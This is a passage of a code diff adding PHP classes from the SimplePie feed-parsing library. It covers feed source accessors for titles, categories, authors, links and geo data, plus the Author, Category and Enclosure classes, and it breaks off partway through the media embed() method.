+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_category($key = 0)
+	{
+		$categories = $this->get_categories();
+		if (isset($categories[$key]))
+		{
+			return $categories[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_categories()
+	{
+		$categories = array();
+
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'category') as $category)
+		{
+			$term = null;
+			$scheme = null;
+			$label = null;
+			if (isset($category['attribs']['']['term']))
+			{
+				$term = $this->sanitize($category['attribs']['']['term'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($category['attribs']['']['scheme']))
+			{
+				$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($category['attribs']['']['label']))
+			{
+				$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			$categories[] =& new $this->item->feed->category_class($term, $scheme, $label);
+		}
+		foreach ((array) $this->get_source_tags('', 'category') as $category)
+		{
+			$categories[] =& new $this->item->feed->category_class($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'subject') as $category)
+		{
+			$categories[] =& new $this->item->feed->category_class($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'subject') as $category)
+		{
+			$categories[] =& new $this->item->feed->category_class($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+
+		if (!empty($categories))
+		{
+			return SimplePie_Misc::array_unique($categories);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_author($key = 0)
+	{
+		$authors = $this->get_authors();
+		if (isset($authors[$key]))
+		{
+			return $authors[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_authors()
+	{
+		$authors = array();
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'author') as $author)
+		{
+			$name = null;
+			$uri = null;
+			$email = null;
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
+			{
+				$name = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
+			{
+				$uri = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
+			}
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
+			{
+				$email = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $uri !== null)
+			{
+				$authors[] =& new $this->item->feed->author_class($name, $uri, $email);
+			}
+		}
+		if ($author = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'author'))
+		{
+			$name = null;
+			$url = null;
+			$email = null;
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
+			{
+				$name = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
+			{
+				$url = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
+			}
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
+			{
+				$email = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $url !== null)
+			{
+				$authors[] =& new $this->item->feed->author_class($name, $url, $email);
+			}
+		}
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'creator') as $author)
+		{
+			$authors[] =& new $this->item->feed->author_class($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'creator') as $author)
+		{
+			$authors[] =& new $this->item->feed->author_class($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'author') as $author)
+		{
+			$authors[] =& new $this->item->feed->author_class($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+
+		if (!empty($authors))
+		{
+			return SimplePie_Misc::array_unique($authors);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_contributor($key = 0)
+	{
+		$contributors = $this->get_contributors();
+		if (isset($contributors[$key]))
+		{
+			return $contributors[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_contributors()
+	{
+		$contributors = array();
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'contributor') as $contributor)
+		{
+			$name = null;
+			$uri = null;
+			$email = null;
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
+			{
+				$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
+			{
+				$uri = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
+			{
+				$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $uri !== null)
+			{
+				$contributors[] =& new $this->item->feed->author_class($name, $uri, $email);
+			}
+		}
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'contributor') as $contributor)
+		{
+			$name = null;
+			$url = null;
+			$email = null;
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
+			{
+				$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
+			{
+				$url = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
+			{
+				$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $url !== null)
+			{
+				$contributors[] =& new $this->item->feed->author_class($name, $url, $email);
+			}
+		}
+
+		if (!empty($contributors))
+		{
+			return SimplePie_Misc::array_unique($contributors);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_link($key = 0, $rel = 'alternate')
+	{
+		$links = $this->get_links($rel);
+		if (isset($links[$key]))
+		{
+			return $links[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Added for parity between the parent-level and the item/entry-level.
+	 */
+	function get_permalink()
+	{
+		return $this->get_link(0);
+	}
+
+	function get_links($rel = 'alternate')
+	{
+		if (!isset($this->data['links']))
+		{
+			$this->data['links'] = array();
+			if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link'))
+			{
+				foreach ($links as $link)
+				{
+					if (isset($link['attribs']['']['href']))
+					{
+						$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
+						$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
+					}
+				}
+			}
+			if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link'))
+			{
+				foreach ($links as $link)
+				{
+					if (isset($link['attribs']['']['href']))
+					{
+						$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
+						$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
+
+					}
+				}
+			}
+			if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+			if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+			if ($links = $this->get_source_tags('', 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+
+			$keys = array_keys($this->data['links']);
+			foreach ($keys as $key)
+			{
+				if (SimplePie_Misc::is_isegment_nz_nc($key))
+				{
+					if (isset($this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]))
+					{
+						$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]);
+						$this->data['links'][$key] =& $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key];
+					}
+					else
+					{
+						$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] =& $this->data['links'][$key];
+					}
+				}
+				elseif (substr($key, 0, 41) == SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY)
+				{
+					$this->data['links'][substr($key, 41)] =& $this->data['links'][$key];
+				}
+				$this->data['links'][$key] = array_unique($this->data['links'][$key]);
+			}
+		}
+
+		if (isset($this->data['links'][$rel]))
+		{
+			return $this->data['links'][$rel];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_description()
+	{
+		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'subtitle'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_10_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'tagline'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_03_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags('', 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'summary'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'subtitle'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_copyright()
+	{
+		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_10_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'copyright'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_03_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags('', 'copyright'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_language()
+	{
+		if ($return = $this->get_source_tags('', 'language'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'language'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'language'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif (isset($this->data['xml_lang']))
+		{
+			return $this->sanitize($this->data['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_latitude()
+	{
+		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lat'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif (($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', $return[0]['data'], $match))
+		{
+			return (float) $match[1];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_longitude()
+	{
+		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'long'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lon'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif (($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', $return[0]['data'], $match))
+		{
+			return (float) $match[2];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_image_url()
+	{
+		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'image'))
+		{
+			return $this->sanitize($return[0]['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI);
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'logo'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'icon'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		else
+		{
+			return null;
+		}
+	}
+}
+
+class SimplePie_Author
+{
+	var $name;
+	var $link;
+	var $email;
+
+	// Constructor, used to input the data
+	function SimplePie_Author($name = null, $link = null, $email = null)
+	{
+		$this->name = $name;
+		$this->link = $link;
+		$this->email = $email;
+	}
+
+	function __toString()
+	{
+		// There is no $this->data here
+		return md5(serialize($this));
+	}
+
+	function get_name()
+	{
+		if ($this->name !== null)
+		{
+			return $this->name;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_link()
+	{
+		if ($this->link !== null)
+		{
+			return $this->link;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_email()
+	{
+		if ($this->email !== null)
+		{
+			return $this->email;
+		}
+		else
+		{
+			return null;
+		}
+	}
+}
+
+class SimplePie_Category
+{
+	var $term;
+	var $scheme;
+	var $label;
+
+	// Constructor, used to input the data
+	function SimplePie_Category($term = null, $scheme = null, $label = null)
+	{
+		$this->term = $term;
+		$this->scheme = $scheme;
+		$this->label = $label;
+	}
+
+	function __toString()
+	{
+		// There is no $this->data here
+		return md5(serialize($this));
+	}
+
+	function get_term()
+	{
+		if ($this->term !== null)
+		{
+			return $this->term;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_scheme()
+	{
+		if ($this->scheme !== null)
+		{
+			return $this->scheme;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_label()
+	{
+		if ($this->label !== null)
+		{
+			return $this->label;
+		}
+		else
+		{
+			return $this->get_term();
+		}
+	}
+}
+
+class SimplePie_Enclosure
+{
+	var $bitrate;
+	var $captions;
+	var $categories;
+	var $channels;
+	var $copyright;
+	var $credits;
+	var $description;
+	var $duration;
+	var $expression;
+	var $framerate;
+	var $handler;
+	var $hashes;
+	var $height;
+	var $javascript;
+	var $keywords;
+	var $lang;
+	var $length;
+	var $link;
+	var $medium;
+	var $player;
+	var $ratings;
+	var $restrictions;
+	var $samplingrate;
+	var $thumbnails;
+	var $title;
+	var $type;
+	var $width;
+
+	// Constructor, used to input the data
+	function SimplePie_Enclosure($link = null, $type = null, $length = null, $javascript = null, $bitrate = null, $captions = null, $categories = null, $channels = null, $copyright = null, $credits = null, $description = null, $duration = null, $expression = null, $framerate = null, $hashes = null, $height = null, $keywords = null, $lang = null, $medium = null, $player = null, $ratings = null, $restrictions = null, $samplingrate = null, $thumbnails = null, $title = null, $width = null)
+	{
+		$this->bitrate = $bitrate;
+		$this->captions = $captions;
+		$this->categories = $categories;
+		$this->channels = $channels;
+		$this->copyright = $copyright;
+		$this->credits = $credits;
+		$this->description = $description;
+		$this->duration = $duration;
+		$this->expression = $expression;
+		$this->framerate = $framerate;
+		$this->hashes = $hashes;
+		$this->height = $height;
+		$this->javascript = $javascript;
+		$this->keywords = $keywords;
+		$this->lang = $lang;
+		$this->length = $length;
+		$this->link = $link;
+		$this->medium = $medium;
+		$this->player = $player;
+		$this->ratings = $ratings;
+		$this->restrictions = $restrictions;
+		$this->samplingrate = $samplingrate;
+		$this->thumbnails = $thumbnails;
+		$this->title = $title;
+		$this->type = $type;
+		$this->width = $width;
+		if (class_exists('idna_convert'))
+		{
+			$idn =& new idna_convert;
+			$parsed = SimplePie_Misc::parse_url($link);
+			$this->link = SimplePie_Misc::compress_parse_url($parsed['scheme'], $idn->encode($parsed['authority']), $parsed['path'], $parsed['query'], $parsed['fragment']);
+		}
+		$this->handler = $this->get_handler(); // Needs to load last
+	}
+
+	function __toString()
+	{
+		// There is no $this->data here
+		return md5(serialize($this));
+	}
+
+	function get_bitrate()
+	{
+		if ($this->bitrate !== null)
+		{
+			return $this->bitrate;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_caption($key = 0)
+	{
+		$captions = $this->get_captions();
+		if (isset($captions[$key]))
+		{
+			return $captions[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_captions()
+	{
+		if ($this->captions !== null)
+		{
+			return $this->captions;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_category($key = 0)
+	{
+		$categories = $this->get_categories();
+		if (isset($categories[$key]))
+		{
+			return $categories[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_categories()
+	{
+		if ($this->categories !== null)
+		{
+			return $this->categories;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_channels()
+	{
+		if ($this->channels !== null)
+		{
+			return $this->channels;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_copyright()
+	{
+		if ($this->copyright !== null)
+		{
+			return $this->copyright;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_credit($key = 0)
+	{
+		$credits = $this->get_credits();
+		if (isset($credits[$key]))
+		{
+			return $credits[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_credits()
+	{
+		if ($this->credits !== null)
+		{
+			return $this->credits;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_description()
+	{
+		if ($this->description !== null)
+		{
+			return $this->description;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_duration($convert = false)
+	{
+		if ($this->duration !== null)
+		{
+			if ($convert)
+			{
+				$time = SimplePie_Misc::time_hms($this->duration);
+				return $time;
+			}
+			else
+			{
+				return $this->duration;
+			}
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_expression()
+	{
+		if ($this->expression !== null)
+		{
+			return $this->expression;
+		}
+		else
+		{
+			return 'full';
+		}
+	}
+
+	function get_extension()
+	{
+		if ($this->link !== null)
+		{
+			$url = SimplePie_Misc::parse_url($this->link);
+			if ($url['path'] !== '')
+			{
+				return pathinfo($url['path'], PATHINFO_EXTENSION);
+			}
+		}
+		return null;
+	}
+
+	function get_framerate()
+	{
+		if ($this->framerate !== null)
+		{
+			return $this->framerate;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_handler()
+	{
+		return $this->get_real_type(true);
+	}
+
+	function get_hash($key = 0)
+	{
+		$hashes = $this->get_hashes();
+		if (isset($hashes[$key]))
+		{
+			return $hashes[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_hashes()
+	{
+		if ($this->hashes !== null)
+		{
+			return $this->hashes;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_height()
+	{
+		if ($this->height !== null)
+		{
+			return $this->height;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_language()
+	{
+		if ($this->lang !== null)
+		{
+			return $this->lang;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_keyword($key = 0)
+	{
+		$keywords = $this->get_keywords();
+		if (isset($keywords[$key]))
+		{
+			return $keywords[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_keywords()
+	{
+		if ($this->keywords !== null)
+		{
+			return $this->keywords;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_length()
+	{
+		if ($this->length !== null)
+		{
+			return $this->length;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_link()
+	{
+		if ($this->link !== null)
+		{
+			return urldecode($this->link);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_medium()
+	{
+		if ($this->medium !== null)
+		{
+			return $this->medium;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_player()
+	{
+		if ($this->player !== null)
+		{
+			return $this->player;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_rating($key = 0)
+	{
+		$ratings = $this->get_ratings();
+		if (isset($ratings[$key]))
+		{
+			return $ratings[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_ratings()
+	{
+		if ($this->ratings !== null)
+		{
+			return $this->ratings;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_restriction($key = 0)
+	{
+		$restrictions = $this->get_restrictions();
+		if (isset($restrictions[$key]))
+		{
+			return $restrictions[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_restrictions()
+	{
+		if ($this->restrictions !== null)
+		{
+			return $this->restrictions;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_sampling_rate()
+	{
+		if ($this->samplingrate !== null)
+		{
+			return $this->samplingrate;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_size()
+	{
+		$length = $this->get_length();
+		if ($length !== null)
+		{
+			return round($length/1048576, 2);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_thumbnail($key = 0)
+	{
+		$thumbnails = $this->get_thumbnails();
+		if (isset($thumbnails[$key]))
+		{
+			return $thumbnails[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_thumbnails()
+	{
+		if ($this->thumbnails !== null)
+		{
+			return $this->thumbnails;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_title()
+	{
+		if ($this->title !== null)
+		{
+			return $this->title;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_type()
+	{
+		if ($this->type !== null)
+		{
+			return $this->type;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_width()
+	{
+		if ($this->width !== null)
+		{
+			return $this->width;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function native_embed($options='')
+	{
+		return $this->embed($options, true);
+	}
+
+	/**
+	 * @todo If the dimensions for media:content are defined, use them when width/height are set to 'auto'.
+	 */
+	function embed($options = '', $native = false)
+	{
+		// Set up defaults
+		$audio = '';
+		$video = '';
+		$alt = '';
+		$altclass = '';
+		$loop = 'false';
+		$width = 'auto';
+		$height = 'auto';
+		$bgcolor = '#ffffff';
+		$mediaplayer = '';
+		$widescreen = false;
+		$handler = $this->get_handler();
+		$type = $this->get_real_type();
+
+		// Process options and reassign values as necessary
+		if (is_array($options))
+		{
+			extract($options);
+		}
+		else
+		{
+			$options = explode(',', $options);
+			foreach($options as $option)
+			{
+				$opt = explode(':', $option, 2);
+				if (isset($opt[0], $opt[1]))
+				{
+					$opt[0] = trim($opt[0]);
+					$opt[1] = trim($opt[1]);
+					switch ($opt[0])
+					{
+						case 'audio':
+							$audio = $opt[1];
+							break;
+
+						case 'video':
+							$video = $opt[1];
+							break;
+
+						case 'alt':
+							$alt = $opt[1];
+							break;
+
+						case 'altclass':
+							$altclass = $opt[1];
+							break;
+
+						case 'loop':
+							$loop = $opt[1];
+							break;
+
+						case 'width':
+							$width = $opt[1];
+							break;
+
+						case 'height':
+							$height = $opt[1];
+							break;
+
+						case 'bgcolor':
+							$bgcolor = $opt[1];
+							break;
+
+						case 'mediaplayer':
+							$mediaplayer = $opt[1];
+							break;
+
+						case 'widescreen':
+							$widescreen = $opt[1];
+							break;
+					}
+				}
+			}
+		}
+
+		$mime = explode('/', $type, 2);
+		$mime = $mime[0];
+
+		// Process values for 'auto'
+		if ($width == 'auto')
+		{
+			if ($mime == 'video')
+			{
+				if ($height == 'auto')
+				{
+					$width = 480;
+				}
+				elseif ($widescreen)
+				{
+					$width = round((intval($height)/9)*16);
+				}
+				else
+				{
+					$width = round((intval($height)/3)*4);
+				}
+			}
+			else
+			{
+				$width = '100%';
+			}
+		}
+
+		if ($height == 'auto')
+		{
+			if ($mime == 'audio')
+			{
+				$height = 0;
+			}
+			elseif ($mime == 'video')
+			{
+				if ($width == 'auto')
+				{
+					if ($widescreen)
+					{
+						$height = 270;
+					}
+					else
+					{
+						$height = 360;
+					}
+				}
+				elseif ($widescreen)
+				{
+					$height = round((intval($width)/16)*9);
+				}
+				else
+				{
+					$height = round((intval($width)/4)*3);
+				}
+			}
+			else
+			{
+				$height = 376;
+			}
+		}
+		elseif ($mime == 'audio')
+		{
+			$height = 0;
+		}
+
+		// Set proper placeholder value
+		if ($mime == 'audio')
+		{
+			$placeholder = $audio;
+		}
+		elseif ($mime == 'video')
+		{
+			$placeholder = $video;
+		}
+
+		$embed = '';
+
+		// Make sure the JS library is included
+		if (!$native)
+		{
+			static $javascript_outputted = null;
+			if (!$javascript_outputted && $this->javascript)
+			{
+				$embed .= '<script type="text/javascript" src="?' . htmlspecialchars($this->javascript) . '"></script>';
+				$javascript_outputted = true;
+			}
+		}
+
+		// Odeo Feed MP3's
+		if ($handler == 'odeo')
+		{
+			if ($native)
+			{
+				$embed .= '<embed src="http://odeo.com/flash/audio_player_fullsize.swf" pluginspage="http://adobe.com/go/getflashplayer" type="application/x-shockwave-flash" quality="high" width="440" height="80" wmode="transparent" allowScriptAccess="any" flashvars="valid_sample_rate=true&external_url=' . $this->get_link() . '"></embed>';
+			}
+			else
+			{
